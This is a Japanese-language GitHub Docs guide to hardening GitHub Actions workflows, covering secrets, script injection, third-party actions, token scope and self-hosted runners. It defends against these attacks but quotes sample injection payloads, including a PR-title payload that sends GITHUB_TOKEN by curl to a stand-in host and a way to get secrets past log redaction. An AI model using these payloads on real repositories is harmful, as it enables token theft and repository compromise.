概要
このガイドでは、特定の GitHub Actions の機能のセキュリティ強化を設定する方法について説明します。 GitHub Actions の概念について理解するには、「GitHub Actions を理解する」をご覧ください。
シークレットの使用
機密性の高い値は、平文としてワークフローファイルに保存するのではなく、シークレットとして保存してください。 シークレットは、Organization、リポジトリ、または Environment のレベルで構成でき、機密情報を GitHub Enterprise Cloud に格納できます。
シークレットは、Libsodium のシールド ボックスを使うことで、GitHub Enterprise Cloud に届く前に暗号化されます。 これは、シークレットが UI または REST API を使って送信されるときに行われます。 このクライアント側の暗号化により、GitHub Enterprise Cloud のインフラストラクチャ内での偶発的なログ(例外ログやリクエストログなど)に関連するリスクを最小限に抑えることができます。 シークレットがアップロードされると、GitHub Enterprise Cloud はそれを復号化して、ワークフローランタイムに挿入できるようになります。
偶発的な開示を防ぐために、GitHub Enterprise Cloud は、実行ログに表示されるシークレットを編集しようとするメカニズムを使用しています。 この編集は、設定されたシークレットの完全一致、および Base64 などの値の一般的なエンコーディングを検索します。 ただし、シークレットの値を変換する方法は複数あるため、この編集は保証されません。 そのため、シークレットを確実に編集し、シークレットに関連する他のリスクを制限するために実行する必要がある、特定の予防的ステップと推奨事項は次のとおりです。
- 構造化データをシークレットとして使わない
- 構造化データは、ログ内のシークレットの編集失敗の原因となる可能性があります。これは、編集が特定のシークレット値の完全一致を見つけることに大きく依存しているためです。 たとえば、JSON、XML、または YAML(または同様)の Blob を使用してシークレット値をカプセル化しないでください。シークレットが適切に編集される可能性が大幅に低下するためです。 代わりに、機密値ごとに個別のシークレットを作成します。
- ワークフロー内で使われるすべてのシークレットを登録する
- シークレットを使ってワークフロー内で別の機密値を生成する場合は、その生成された値を正式にシークレットとして登録して、ログに表示されることがある場合は編集された状態になるようにする必要があります。 たとえば、秘密鍵を使用して署名済み JWT を生成し、Web API にアクセスする場合は、その JWT をシークレットとして登録してください。そうしない場合、ログ出力に入力されても編集されません。
- シークレットの登録は、あらゆる種類の変換/エンコーディングにも適用されます。 シークレットが何らかの方法で変換された場合(Base64 や URL エンコードなど)、新しい値もシークレットとして登録してください。
- シークレットの処理方法を監査する
- シークレットの使用方法を監査し、シークレットが想定どおりに処理されていることを確認します。 これを行うには、ワークフローを実行しているリポジトリのソースコードを確認し、ワークフローで使用されているアクションを確認します。 たとえば、意図しないホストに送信されていないか、またはログ出力に明示的に出力されていないかを確認します。
- 有効/無効な入力をテストした後、ワークフローの実行ログを表示し、シークレットが正しく編集されているか、表示されていないかを確認します。 呼び出しているコマンドまたはツールがどのようにしてエラーを
STDOUT
やSTDERR
に送信するかは必ずしも明らかではなく、シークレットが後でエラー ログに記録される可能性があります。 そのため、有効な入力と無効な入力をテストした後、ワークフローログを手動で確認することをお勧めします。
- 最小限のスコープを設定された認証情報を使う
- ワークフロー内で使用されている認証情報に必要な最小限の権限があることを確認し、リポジトリへの書き込みアクセスを持つすべてのユーザが、リポジトリで設定されたすべてのシークレットへの読み取りアクセスを持っていることに注意してください。
- Actions は、
github.token
コンテキストからアクセスすることでGITHUB_TOKEN
を使用できます。 詳しくは、「コンテキスト」を参照してください。 したがって、GITHUB_TOKEN
に最低限必要な権限が付与されていることを確認する必要があります。 リポジトリの内容の読み取りアクセスのみを行うようにGITHUB_TOKEN
の既定のアクセス許可を設定することを、セキュリティの点からお勧めします。 その後、必要に応じて、ワークフローファイル内の個々のジョブの権限を増やすことができます。 詳しくは、「自動トークン認証」を参照してください。
- 登録されたシークレットの監査とローテーションを行う
- 登録されたシークレットを定期的に確認して、現在も必要であることを確認します。 不要になったものは削除してください。
- シークレットを定期的にローテーションして、不正使用されたシークレットが有効である期間を短縮します。
- シークレットへのアクセスのレビューを必須にすることを検討する
- 必須のレビュー担当者を使って環境のシークレットを保護できます。 レビュー担当者によって許可されるまで、ワークフローのジョブは環境のシークレットにアクセスできません。 環境へのシークレットの格納や環境のレビューの要求について詳しくは、「暗号化されたシークレット」と「デプロイに環境を使用する」をご覧ください。
警告: リポジトリへの書き込みアクセス権を持つすべてのユーザーは、リポジトリに構成されているすべてのシークレットへの読み取りアクセス権を持っています。 そのため、ワークフロー内で使われる資格情報が持つ特権は必要最小限のものにする必要があります。
CODEOWNERS
を使用して変更を監視する
CODEOWNERS
機能を使って、ワークフロー ファイルの変更方法を制御できます。 たとえば、すべてのワークフロー ファイルが .github/workflows
に格納されている場合は、このディレクトリをコード所有者リストに追加することで、これらのファイルに対して提案された変更は、指定されているレビュー担当者が最初に承認する必要があるようにすることができます。
詳しくは、「コードオーナーについて」を参照してください。
スクリプト インジェクションのリスクを理解する
ワークフロー、カスタム アクション、複合アクションを作成するときは、攻撃者からの信頼されていない入力をコードが実行する可能性があるかどうかを常に考慮する必要があります。 これは、攻撃者が悪意のあるコマンドとスクリプトをコンテキストに追加したときに発生する可能性があります。 ワークフローの実行時に、それらの文字列がコードとして解釈されて、ランナーで実行される場合があります。
攻撃者は、自分の悪意のあるコンテンツを github
コンテキストに追加する可能性があります。これは、潜在的に信頼されない入力として扱う必要があります。 このようなコンテキストは、通常、body
、default_branch
、email
、head_ref
、label
、message
、name
、page_name
、ref
、title
で終わるものです。 例: github.event.issue.title
、または github.event.pull_request.body
。
これらの値が、ワークフロー、アクション、API 呼び出し、またはそれらが実行可能なコードとして解釈される可能性のあるその他の場所に直接流れないようにする必要があります。 他の特権アプリケーション コードに使用するのと同じ防御型プログラミング方針を採用することで、GitHub Actions の使用のセキュリティを強化できます。 攻撃者が行う可能性があるいくつかの手順については、「GitHub Actions のセキュリティ強化」をご覧ください。
さらに、それ以外にも、ブランチ名やメール アドレスなど、あまり知られていませんが潜在的に信頼されない入力のソースがあり、許可された内容の観点からは非常に柔軟性があります。 たとえば、zzz";echo${IFS}"hello";#
は有効なブランチ名であり、ターゲット リポジトリに対する攻撃ベクトルになる可能性があります。
以下のセクションでは、スクリプト インジェクションのリスクを軽減するのに役立つ方法について説明します。
スクリプト インジェクション攻撃の例
スクリプト インジェクション攻撃は、ワークフローのインライン スクリプト内で直接発生する可能性があります。 次の例のアクションでは、式を使って pull request タイトルの有効性がテストされていますが、スクリプト インジェクションのリスクも加わります。
- name: Check PR title
run: |
title="${{ github.event.pull_request.title }}"
if [[ $title =~ ^octocat ]]; then
echo "PR title starts with 'octocat'"
exit 0
else
echo "PR title did not start with 'octocat'"
exit 1
fi
この例の場合、ランナーの一時シェル スクリプト内で run
コマンドが実行されるため、スクリプト インジェクションに対して脆弱です。 シェル スクリプトが実行される前に、${{ }}
内の式が評価されてから、結果の値に置き換えられます。これにより、シェル コマンド インジェクションに対して脆弱になる可能性があります。
このワークフローにコマンドを挿入するため、攻撃者は a"; ls $GITHUB_WORKSPACE"
というタイトルの pull request を作成する可能性があります。
この例では、文字 "
を使って title="${{ github.event.pull_request.title }}"
ステートメントを中断し、ランナーで ls
コマンドを実行できるようにします。 ls
コマンドの出力をログで確認できます。
Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js
スクリプト インジェクション攻撃を軽減するための優れたプラクティス
スクリプト インジェクションのリスクを軽減するのに役立つさまざまな方法があります。
インライン スクリプトの代わりにアクションを使用する (推奨)
推奨される方法は、コンテキストの値を引数として処理するアクションを作成することです。 コンテキストの値はシェル スクリプトの生成には使われず、代わりに引数としてアクションに渡されるため、この方法はインジェクション攻撃に対して脆弱ではありません。
uses: fakeaction/checktitle@v3
with:
title: ${{ github.event.pull_request.title }}
中間環境変数を使用する
インライン スクリプトの場合、信頼されない入力を処理するための推奨される方法は、式の値を中間環境変数に設定することです。
次の例では、Bash を使って github.event.pull_request.title
の値を環境変数として処理しています。
- name: Check PR title
env:
TITLE: ${{ github.event.pull_request.title }}
run: |
if [[ "$TITLE" =~ ^octocat ]]; then
echo "PR title starts with 'octocat'"
exit 0
else
echo "PR title did not start with 'octocat'"
exit 1
fi
この例では、スクリプトの挿入の試行が失敗し、ログの行で次のように示されています。
env:
TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'
この方法では、${{ github.event.issue.title }}
式の値はメモリに格納されて変数として使われ、スクリプト生成プロセスとはやり取りされません。 さらに、二重引用符シェル変数を使って単語分割を回避することを検討します。ただし、これはシェル スクリプトの記述に関する多くの一般的な推奨事項の 1 つであり、GitHub Actions に固有ではありません。
code scanning 用のスターター ワークフローを使用する
注: Advanced Security のスターター ワークフローは、リポジトリの [アクション] タブの [セキュリティ] カテゴリに統合されています。 この新しい構成は現在ベータ版であり、変更される可能性があります。
詳細については、「コード スキャンについて」および「リポジトリの code scanning を構成する」を参照してください。
トークンのアクセス許可を制限する
公開されたトークンのリスクを軽減するには、割り当てられるアクセス許可を制限することを検討します。 詳しくは、「自動トークン認証」を参照してください。
OpenID Connect を使用してクラウド リソースにアクセスする
GitHub Actions ワークフローが OpenID Connect (OIDC) をサポートするクラウド プロバイダーのリソースにアクセスする必要がある場合、そのクラウド プロバイダーで直接認証されるようにワークフローを構成できます。 これにより、有効期間の長いシークレットとしてこれらの資格情報の格納を停止し、その他のセキュリティ上の利点を提供できます。 詳しくは、「OpenID Connect を使ったセキュリティ強化について」をご覧ください
サードパーティアクションを使用する
ワークフロー内の個々のジョブは、他のジョブと相互作用(および侵害)する場合があります。 たとえば、後のジョブで使用される環境変数をクエリするジョブ、後のジョブが処理する共有ディレクトリにファイルを書き込むジョブ、あるいはもっと直接的にDocker ソケットとやり取りして他の実行中のコンテナを検査してコマンドを実行するジョブなどです。
つまり、ワークフロー内の 1 つのアクションが侵害されると、その侵害されたアクションがリポジトリで構成されているすべてのシークレットにアクセスでき、GITHUB_TOKEN
を使ってリポジトリに書き込むことができる場合があるため、非常に大きな問題になる可能性があります。 したがって、GitHub のサードパーティリポジトリからアクションを調達することには大きなリスクがあります。 攻撃者が行う可能性があるいくつかの手順については、「GitHub Actions のセキュリティ強化」をご覧ください。
次のような適切な方法に従うことで、このリスクを軽減することができます。
-
アクションを完全なコミット SHA にピン止めする
現在、アクションを不変のリリースとして使用する唯一の方法は、アクションを完全なコミット SHA にピン止めすることです。 特定の SHA にピン止めすると、有効な Git オブジェクトペイロードに対して SHA-1 衝突を生成する必要があるため、悪意のある人がアクションのリポジトリにバックドアを追加するリスクを軽減できます。 SHA を選択するときは、アクションのリポジトリからであり、リポジトリ フォークではないことを確認してください。
-
アクションのソース コードを監査する
アクションが想定どおりにリポジトリとシークレットのコンテンツを処理していることを確認します。 たとえば、シークレットが意図しないホストに送信されていないか、または誤ってログに記録されていないかを確認します。
-
作成者を信頼できる場合に限り、アクションをタグにピン止めする
コミット SHA に対するピン止めが最も安全なオプションですが、タグを指定する方が便利で広く使用されています。 タグを指定する場合は、アクションの作成者が信頼できることを確認してください。 GitHub Marketplace の「Verified creator」バッジは便利な判断材料で、 GitHub で身元が確認されたチームによって作成されたアクションであることを示しています。 作者が信頼できる場合でも、このアプローチにはリスクがあることに注意してください。悪意のある人がアクションを保存しているリポジトリにアクセスすると、タグが移動または削除される可能性があります。
サード パーティのワークフローを再利用する
サード パーティのアクションの使用に関して上で説明したものと同じ原則が、サード パーティのワークフローの使用にも適用されます。 上と同じ適切なプラクティスに従うことで、ワークフローの再利用に関連するリスクを軽減できます。 詳しくは、「ワークフローの再利用」を参照してください。
Dependabot version updates を使用してアクションを最新の状態に維持する
リポジトリで使用されるアクションと再利用可能ワークフローの参照が常に最新の状態に保たれるよう、Dependabot version updates を使えます。 多くの場合、アクションはバグ修正と新機能で更新され、自動プロセスの信頼性、速度、安全性が向上しています。 Dependabot version updates は依存関係の保守を楽にします。Dependabot でこれが自動的に行われるためです。 詳しくは、「Dependabot でアクションを最新に保つ」を参照してください。
必要なワークフロー
必要なワークフローを使うと、選択したリポジトリで、または Organization 内のすべてのリポジトリで実行するワークフローを指定できます。このようにすると、ワークフローを 1 つ維持するだけで、Organization 全体にセキュリティ ポリシーを適用できます。 必要なワークフローは、pull request に必須ステータス チェックとして表示されます。このチェックが完了しなければ、pull request はマージされません。 詳しくは、「必要なワークフロー」を参照してください。
ワークフローが内部とプライベート リポジトリにアクセスできるようにする
内部またはプライベート リポジトリを他のリポジトリの GitHub Actions ワークフローからアクセスできるようにすると、内部またはプライベート リポジトリに直接アクセスできない他のリポジトリの外部コラボレーターが、それらのリポジトリに間接的にアクセスできるようになります。 外部コラボレーターは、内部またはプライベート リポジトリのアクションまたはワークフローが使用されている場合に、ワークフローの実行をログで確認できます。 詳しくは、「アクションとワークフローを企業と共有する」をご覧ください。
ランナーがこれらのアクションをダウンロードできるように、GitHub はスコープ付きのインストール トークンをランナーに渡します。 このトークンはリポジトリへの読み取りアクセス権を持ち、1 時間後に自動的に期限切れになります。
GitHub Actions による pull request の作成または承認を禁止する
GitHub Actions ワークフローが pull request を作成または承認することを許可または禁止するかを選択できます。ワークフローまたは他の自動化に pull request の作成または承認を許可すると、pull request のマージが適切な監視なしで行われる場合、セキュリティ リスクになる可能性があります。
この設定の構成方法について詳しくは、「エンタープライズで GitHub Actions のポリシーを適用する」、「Organization での GitHub Actions の無効化または制限」、「リポジトリの GitHub Actions の設定を管理する」をご覧ください。
OpenSSF Scorecards を使用してワークフローをセキュリティで保護する
Scorecards は、リスクの高いサプライ チェーン プラクティスにフラグを設定する自動セキュリティ ツールです。 Scorecards アクションとスターター ワークフローを使って、セキュリティのベスト プラクティスに従うことができます。 構成された Scorecards アクションは、リポジトリが変更されると自動的に実行し、組み込みの code scanning エクスペリエンスを使ってリスクの高いサプライ チェーン プラクティスについて開発者に警告します。 Scorecards プロジェクトでは、スクリプト インジェクション攻撃、トークンのアクセス許可、ピン留めされたアクションなど、さまざまなチェックが実行されます。
侵害されたランナーの潜在的な影響
以下のセクションでは、攻撃者が GitHub Actions ランナーで悪意のあるコマンドを実行できる場合に実行できるいくつかの手順について説明します。
注: GitHub ホステッド ランナーは、侵害されたサード パーティのライブラリなど、ユーザーがジョブの間にダウンロードした悪意のあるコードをスキャンしません。
シークレットにアクセスする
pull_request
イベントを使ってトリガーされたワークフローには、シークレットの読み取り専用のアクセス許可があり、アクセス権はありません。 ただし、これらのアクセス許可は、攻撃者がリポジトリのシークレットを盗んだり、ジョブの GITHUB_TOKEN
の書き込みアクセス許可を使用したりするために試みる可能性がある、issue_comment
、issues
、push
などのさまざまなイベント トリガーの場合は異なります。
-
シークレットまたはトークンが環境変数に設定されている場合は、
printenv
を使って環境を介して直接アクセスできます。 -
シークレットが式の中で直接使われた場合、生成されるシェル スクリプトはディスク上に格納されてアクセスできます。
-
カスタム アクションの場合のリスクは、プログラムが引数から取得したシークレットを使用する方法によって異なる場合があります。
uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }}
GitHub Actions は、ワークフロー(または含まれるアクション) で参照されていないシークレットをメモリから除去しますが、攻撃者はその気になれば GITHUB_TOKEN
や参照されているシークレットを取得できます。
ランナーからのデータの流出
攻撃者は、盗まれたシークレットや他のデータをランナーから流出させる可能性があります。 シークレットが誤って漏えいするのを防ぐため、GitHub Actions はログに書き込まれるシークレットを自動的に編集しますが、シークレットを意図的にログに送信できるため、これは真のセキュリティ境界ではありません。 たとえば、難読化されたシークレットは echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};
を使って流出される可能性があります。 さらに、攻撃者は任意のコマンドを実行できるため、HTTP 要求を使ってシークレットや他のリポジトリ データを外部サーバーに送信する可能性があります。
ジョブの GITHUB_TOKEN
を盗む
攻撃者はジョブの GITHUB_TOKEN
を盗む可能性があります。 GitHub Actions ランナーは、ワークフローを含むリポジトリのみに制限されたアクセス許可を指定して生成された GITHUB_TOKEN
を自動的に受け取り、そのトークンの有効期限はジョブが完了すると切れます。 有効期限が切れたトークンは、攻撃者にとって役に立たなくなります。 この制限を回避するため、攻撃者は、トークンを使って攻撃者が制御するサーバーを呼び出すことによって (a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#
など)、攻撃を自動化して一瞬で実行できます。
リポジトリの内容を変更する
攻撃者のサーバーは、GITHUB_TOKEN
に割り当てられたアクセス許可が制限されていなければ、GitHub API を使って、リリースなどのリポジトリの内容を変更することができます。
リポジトリ間のアクセスを検討する
GitHub Actions のスコープは、意図的に一度に単一のリポジトリに設定されています。 書き込みアクセス権を持つユーザーは、ワークフロー ファイルを作成または変更し、必要に応じて GITHUB_TOKEN
のアクセス許可を昇格することによって GITHUB_TOKEN
にアクセスできるため、このトークンは書き込みアクセス権を持つユーザーと同じレベルのアクセスを許可します。 ユーザーはリポジトリごとに特定のアクセス許可を持っているため、1 つのリポジトリの GITHUB_TOKEN
に別のリポジトリへのアクセス権を付与すると、慎重に実装しない場合、GitHub のアクセス許可モデルに影響します。 同様に、GitHub 認証トークンをワークフローに追加する場合は注意が必要です。これは、コラボレータに誤って広範なアクセスを付与することにより、GitHub アクセス許可モデルにも影響を与える可能性があるためです。
GitHub Enterprise Cloud 内でのリポジトリ間アクセスを許可するフローをサポートすることが GitHub のロードマップで計画されていますが、この機能はまだサポートされていません。 現在、権限のあるリポジトリ間のやり取りを実行する唯一の方法は、ワークフロー内に GitHub 認証トークンまたは SSH キーをシークレットとして配置することです。 多くの認証トークンタイプでは特定のリソースへの詳細なアクセスが許可されていないことから、意図したものよりはるかに広範なアクセスを許可できるため、間違ったトークンタイプを使用すると重大なリスクが生じます。
次のリストでは、ワークフロー内のリポジトリデータにアクセスするための推奨アプローチを優先度の高い順に説明しています。
GITHUB_TOKEN
- このトークンは、ワークフローを呼び出した単一のリポジトリに意図的にスコープが設定されており、リポジトリの書き込みアクセス ユーザーと同じレベルのアクセス権を持つことができます。 トークンは各ジョブが開始する前に作成され、ジョブが終了すると期限切れになります。 詳しくは、「自動トークン認証」を参照してください。
- 可能な限り、
GITHUB_TOKEN
を使う必要があります。
- リポジトリのデプロイキー
- デプロイキーは、単一のリポジトリへの読み取りまたは書き込みアクセスを許可する唯一の認証情報タイプの 1 つであり、ワークフロー内の別のリポジトリとのやり取りに使用できます。 詳しくは、「デプロイキーの管理」を参照してください。
- デプロイキーは Git を使用してリポジトリにクローンおよびプッシュできるだけであり、REST または GraphQL API とのやり取りには使用できないため、要件に適さない場合があることに注意してください。
- GitHub App トークン
- GitHub Apps は、選択したリポジトリにインストールでき、リポジトリ内のリソースに対する詳細な権限を持つこともできます。 Organization の内部で GitHub App を作成し、ワークフロー内でアクセスする必要があるリポジトリにインストールして、それらのリポジトリにアクセスするためのワークフロー内のインストールとして認証できます。 詳しくは、「Making authenticated API requests with a GitHub App in a GitHub Actions workflow」を参照してください。
- personal access token
- personal access token (classic) は使わないでください。 これらのトークンは、ユーザーがアクセスできる Organization 内のすべてのリポジトリ、および個人アカウント内のすべての個人リポジトリへのアクセスを許可します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。
- personal access token を使う場合は、自分のアカウントから personal access token を使わないでください。 後で Organization を離れると、このトークンを使用するワークフローはすぐに中断され、この問題のデバッグが困難になる場合があります。 代わりに、Organization に属していて、ワークフローに必要な特定のリポジトリへのアクセスのみを許可されている新しいアカウントには、fine-grained personal access token を使う必要があります。 このアプローチはスケーラブルではないため、デプロイキーなどの代替案を優先して避ける必要があります。
- 個人アカウントの SSH キー
- ワークフローでは、個人アカウントの SSH キーを使わないようにする必要があります。 これらは、personal access tokens (classic) と同様に、そのユーザーのすべての個人リポジトリと、Organization のメンバーシップを通じてそのユーザーがアクセスできるすべてのリポジトリに対する、読み取りと書き込みのアクセス許可を付与します。 これにより、ワークフローが含まれているリポジトリのすべての書き込みアクセスユーザに間接的に広範なアクセス権が付与されます。 リポジトリのクローンまたはプッシュのみを実行する必要があり、パブリック API とやり取りする必要がないため、SSH キーを使用する場合は、代わりに個別のデプロイキーを使用する必要があります。
GitHub ホステッド ランナーのサプライ チェーンをレビューする
ソフトウェア部品表 (SBOM) を表示すると、ワークフローの実行中に使用された GitHub ホステッド ランナー イメージにプレインストールされたソフトウェアを確認できます。 脆弱性スキャナーを介して実行できる SBOM をユーザーに提供して、製品に脆弱性があるかどうかを検証できます。 成果物をビルドする場合、この SBOM は、ソフトウェアの作成に使ったものをすべて含めた包括的な一覧の部品表に含めることができます。
SBOM は、Ubuntu、Windows および macOS のランナー イメージに使うことができます。 ビルドの SBOM は、 https://github.com/actions/runner-images/releases に記載されているリリース資産で見つけることができます。 sbom.<IMAGE-NAME>.json.zip
の形式のファイル名を持つ SBOM は、各リリースの添付ファイルにあります。
セルフホストランナーを強化する
GitHub ホステッド ランナーは、一時的でクリーンな隔離された仮想マシン内でコードを実行します。つまり、この環境を永続的に侵害したり、ブートストラップ プロセスの間にこの環境に置かれたもの以外の情報にアクセスしたりする方法はありません。
GitHub Enterprise Cloud のセルフホステッド ランナーは、一時的でクリーンな仮想マシンでの実行に関する保証がなく、ワークフロー内の信頼されていないコードによって永続的に侵害される可能性があります。
その結果、任意のユーザーがリポジトリに対して pull request を開き、環境を侵害できるため、ほとんどの場合、セルフホステッド ランナーは GitHub Enterprise Cloud のパブリック リポジトリには使わないようにする必要があります。 同様に、プライベートまたは内部リポジトリでセルフホステッド ランナーを使うときは注意が必要です。リポジトリをフォークして pull request を開くことができるユーザー (通常は、リポジトリへの読み取りアクセス権を持つユーザー) は、セルフホステッド ランナー環境を侵害できます。それには、シークレットへのアクセスや、リポジトリへの書き込みアクセス権を設定に応じて付与できる GITHUB_TOKEN
の取得が含まれます。 ワークフローは、環境と必要なレビューを使用して環境シークレットへのアクセスを制御できますが、これらのワークフローは分離された環境では実行されず、セルフホストランナーで実行した場合でも同じリスクの影響を受けやすくなります。
セルフホストランナーがOrganizationもしくはEnterpriseのレベルで定義されているなら、GitHub Enterprise Cloudは同じランナー上で複数のリポジトリからのワークフローをスケジューリングするかもしれません。 したがって、これらの環境へのセキュリティ侵害は、大きな影響をもたらす可能性があります。 侵害の範囲を狭めるために、セルフホストランナーを個別のグループにまとめることで、境界を作ることができます。 ランナー グループにアクセスできるワークフロー、Organization、リポジトリを制限できます。 詳しくは、「グループを使用してセルフホストランナーへのアクセスを管理する」を参照してください。
次のように、セルフホストランナーマシンの環境も考慮する必要があります。
- セルフホストランナーとして設定されたマシンにはどのような機密情報が存在するか。 たとえば、SSH 秘密鍵、API アクセストークンなどです。
- マシンが機密性の高いサービスにネットワークアクセス可能か。 たとえば、Azure または AWS メタデータサービスなどです。 この環境での機密情報量は最小限に抑える必要があります。ワークフローを呼び出すことができるすべてのユーザがこの環境にアクセスできることを常に意識しておいてください。
中には、それぞれのジョブの実行後にセルフホストランナーを自動的に破棄するようなシステムを実装することで、このリスクを部分的に軽減しようとするお客様もいます。 しかし、このアプローチは意図したほどには効果的ではないかもしれません。これは、セルフホストランナーが1つのジョブだけを実行するという保証がないためです。 一部のジョブでは、コマンド ライン引数としてシークレットが使われ、同じランナーで実行している別のジョブで見ることができます (ps x -w
など)。 これにより、シークレットが漏えいする可能性があります。
セルフホステッド ランナーの管理戦略を計画する
セルフホステッド ランナーは、GitHub 階層のさまざまなレベル (Enterprise、Organization、リポジトリ レベル) に追加できます。 この配置により、ランナーを管理できるユーザーが決まります。
一元管理:
- 一元化されたチームでセルフホステッド ランナーを所有する場合は、最も高い相互 Organization または Enterprise レベルにランナーを追加することをお勧めします。 これにより、チームは 1 つの場所でランナーを表示および管理できます。
- Organization が 1 つだけの場合、Organization レベルでランナーを追加するのは実質的に同じ方法ですが、将来別の Organization を追加したときに問題が発生する可能性があります。
分散管理:
- 各チームが自分のセルフホステッド ランナーを管理する場合は、チームの所有権の最上位レベルでランナーを追加することをお勧めします。 たとえば、各チームが自分の Organization を所有している場合は、ランナーも Organization レベルで追加すると最も簡単になります。
- リポジトリ レベルでランナーを追加することもできますが、リポジトリ間ではランナーを共有できないため、管理オーバーヘッドが増加し、必要なランナーの数も増えます。
クラウド プロバイダーへの認証を行う
GitHub Actions を使ってクラウド プロバイダーにデプロイする場合、またはシークレット管理に HashiCorp Vault を使う場合は、OpenID Connect を使って、ワークフロー実行用に有効期間が短く、適切なスコープ設定のアクセス トークンの作成を検討することをお勧めします。 詳しくは、「OpenID Connect を使ったセキュリティ強化について」を参照してください。
GitHub Actionsイベントの監査
セキュリティ ログを使用してユーザー アカウントのアクティビティを監視し、監査ログを使用して Organization または Enterprise のアクティビティを監視できます。 セキュリティおよび監査ログには、アクションの種類、実行された日時、アクションを実行した個人アカウントが記録されます。
たとえば、監査ログを使って、Organization のシークレットへの変更を追跡する org.update_actions_secret
イベントを追跡できます。
各アカウントの種類の監査ログに表示されるイベントの完全な一覧については、次の記事を参照してください。